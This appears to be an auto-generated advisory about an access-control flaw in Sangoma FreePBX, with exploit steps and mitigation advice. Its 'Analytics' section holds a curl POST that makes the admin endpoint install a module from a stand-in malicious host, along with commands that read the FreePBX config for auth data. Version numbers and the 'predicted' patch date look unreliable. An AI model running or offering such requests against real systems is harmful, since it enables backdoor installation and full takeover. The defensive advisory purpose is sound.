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How the CVE Works
The vulnerability exploits incorrect access control within the FreePBX web interface. Specifically, it involves improper validation of user permissions for accessing certain administrative API endpoints or modules. An authenticated attacker, even with low-level privileges, can craft malicious HTTP requests to these endpoints. The system fails to correctly verify if the requesting user has the necessary authorization, allowing them to execute privileged actions. This can lead to complete system compromise, including creating administrative accounts, modifying system configurations, or accessing sensitive data, by bypassing intended security boundaries.
Platform: Sangoma FreePBX
Version: 115.0.16.26 below
Vulnerability: Incorrect Access Control
Severity: Critical
date: 2024-01-17
Prediction: Patch expected 2024-02-07
What Undercode Say:
Analytics
grep -r "checkPermission|hasPermission" /var/www/html/admin/modules/ cat /etc/freepbx.conf | grep -i "user|auth" curl -ks -X POST "https://<TARGET>/admin/ajax.php?module=moduleadmin" --data "action=install&data[bash]=http://malicious/package.tgz"
How Exploit:
- Attacker gains low-privilege user credentials (e.g., via phishing).
- Crafts a POST request to a vulnerable administrative endpoint (e.g.,
/admin/ajax.php?module=moduleadmin). - Sends a malicious payload instructing the system to install a custom module from a controlled server.
- The installed module contains backdoor code, granting the attacker full administrator access.
Protection from this CVE
- Immediate upgrade to FreePBX versions 115.0.16.27, 14.0.13.12, or 13.0.197.14.
- Implement strict network access controls for the admin interface.
- Apply the principle of least privilege for all user accounts.
- Use Web Application Firewall (WAF) rules.
Impact:
Privilege Escalation
System Compromise
Data Breach
Remote Code Execution
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Sources:
Reported By: www.cve.org
Extra Source Hub:
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